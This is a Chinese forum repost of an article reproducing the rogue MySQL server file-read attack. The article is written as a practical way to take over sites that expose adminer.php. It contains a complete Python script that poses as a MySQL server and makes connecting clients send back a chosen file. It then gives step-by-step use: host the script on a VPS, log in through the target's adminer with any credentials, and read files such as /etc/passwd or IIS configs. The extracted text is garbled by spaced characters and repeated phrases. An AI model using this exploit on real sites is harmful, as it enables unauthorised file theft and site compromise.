搜索

[21883] 2021-04-18_MySQL服务端读取客户端文件漏洞的复现

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2021-04-18_MySQL服务端读取客户端文件漏洞的复现 M y S Q L 服 务 端 读 取 客 户 端 文 件 漏 洞 的 复 现 L e m o n S e c   2 0 2 1 - 0 4 - 1 8 本 文 由 海 阳 顶 端 授 权 发 布 ， 大 家 可 以 关 注 头 条 号 这 个 漏 洞 我 没 有 找 到 具 体 的 出 处 ， 所 以 我 没 有 详 述 此 漏 洞 的 前 因 后 果 ， 但 是 因 为 有 很 强 的 实 战 性 ， 有 必 要 分 享 给 大 家 。 简 单 一 点 讲 ， 如 果 你 扫 描 网 站 目 录 ， 恰 巧 碰 上 了 a d m i n e r . p h p 这 个 链 接 ， 恭 喜 你 ， 不 需 要 密 码 ， 基 本 你 可 以 搞 定 此 站 了 。 利 用 的 工 具 m y s q l . p y ， 代 码 如 下 ： 实 战 测 试 ： 第 一 步 ， 在 第 一 步 ， 在 V P S 上 执 行 此 代 码 。 上 执 行 此 代 码 。 我 文 章 是 用 我 的 虚 拟 机 和 物 理 机 演 示 的 。 在 我 的 虚 拟 机 k a l i 上 执 行 的 ： p y t h o n   m y s q l . p y   " 要 读 的 目 标 站 点 的 文 件 " # c o d i n g = u t f - 8   i m p o r t   s o c k e t i m p o r t   l o g g i n g i m p o r t   s y s l o g g i n g . b a s i c C o n f i g ( l e v e l = l o g g i n g . D E B U G ) f i l e n a m e = s y s . a r g v [ 1 ] s v = s o c k e t . s o c k e t ( ) s v . s e t s o c k o p t ( 1 , 2 , 1 ) s v . b i n d ( ( " " , 3 3 0 6 ) ) s v . l i s t e n ( 5 ) c o n n , a d d r e s s = s v . a c c e p t ( ) l o g g i n g . i n f o ( ' C o n n   f r o m :   % r ' ,   a d d r e s s ) c o n n . s e n d a l l ( " x 4 a x 0 0 x 0 0 x 0 0 x 0 a x 3 5 x 2 e x 3 5 x 2 e x 3 5 x 3 3 x 0 0 x 1 7 x 0 0 x 0 0 x 0 0 x 6 e x 7 a x 3 b x 5 4 x 7 6 x 7 3 x 6 1 x 6 a x 0 0 x f f x f 7 x 2 1 x 0 2 x 0 0 x 0 f x 8 0 x 1 5 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 x 7 0 x 7 6 x 2 1 x 3 d x 5 0 x 5 c x 5 a x 3 2 x 2 a x 7 a x 4 9 x 3 f x 0 0 x 6 d x 7 9 x 7 3 x 7 1 x 6 c x 5 f x 6 e x 6 1 x 7 4 x 6 9 x 7 6 x 6 5 x 5 f x 7 0 x 6 1 x 7 3 x 7 3 x 7 7 x 6 f x 7 2 x 6 4 x 0 0 " c o n n . r e c v ( 9 9 9 9 ) l o g g i n g . i n f o ( " a u t h   o k a y " ) c o n n . s e n d a l l ( " x 0 7 x 0 0 x 0 0 x 0 2 x 0 0 x 0 0 x 0 0 x 0 2 x 0 0 x 0 0 x 0 0 " ) c o n n . r e c v ( 9 9 9 9 ) l o g g i n g . i n f o ( " w a n t   f i l e . . . " ) w a n t f i l e = c h r ( l e n ( f i l e n a m e ) + 1 ) + " x 0 0 x 0 0 x 0 1 x F B " + f i l e n a m e c o n n . s e n d a l l ( w a n t f i l e ) c o n t e n t = c o n n . r e c v ( 9 9 9 9 ) l o g g i n g . i n f o ( c o n t e n t ) c o n n . c l o s e ( )
我 K A L I 虚 拟 机 的 I P 地 址 是 1 9 2 . 1 6 8 . 1 . 5 保 障 你 的 V P S 中 的 用 这 个 m y s q l . p y 开 的 3 3 0 6 端 口 是 可 以 被 外 部 连 上 的 。 第 二 步 ， 打 开 目 标 站 的 第 二 步 ， 打 开 目 标 站 的 a d m i n e r . p h p ， 输 入 ， 输 入 v p s 的 地 址 ， 用 户 名 和 密 码 乱 写 就 可 以 。 的 地 址 ， 用 户 名 和 密 码 乱 写 就 可 以 。 我 是 用 本 机 的 物 理 机 演 示 的 。
第 三 步 ， 点 击 登 陆 ， 在 你 的 第 三 步 ， 点 击 登 陆 ， 在 你 的 v p s 上 就 得 到 要 读 的 止 标 站 点 文 件 的 源 码 了 。 上 就 得 到 要 读 的 止 标 站 点 文 件 的 源 码 了 。 在 上 图 中 ， 我 读 的 是 物 理 机 中 的 d : / 1 . b a t ， 因 为 1 . b a t 里 有 中 文 ， 所 以 有 乱 码 。 另 外 ， 有 个 小 技 巧 ， 如 果 不 知 物 理 目 录 的 话 ， 你 可 以 在 第 一 步 中 执 行 p y t h o n   m y s q l . p y   “ x x x " ， 有 可 能 暴 出 物 理 目 录 。 当 然 ， 你 也 可 以 读 / e t c / p a s s w d ， i i s 下 的 配 置 文 件 来 得 到 目 标 站 的 物 理 目 录 。 还 有 ， 如 果 复 制 本 文 中 代 码 不 方 便 的 话 ， 也 可 以 利 用 h t t p s : / / g i t h u b . c o m / a l l y s h k a / R o g u e - M y S q l - S e r v e r 此 脚 本 。 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 “ 如 侵 权 请 私 聊 公 众 号 删 文 ” 扫 描 关 注 扫 描 关 注 L e m o n S e c 觉 得 不 错 点 个 觉 得 不 错 点 个 “ 赞 赞 ” 、 、 “ 在 看 在 看 ” 哦 哦
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理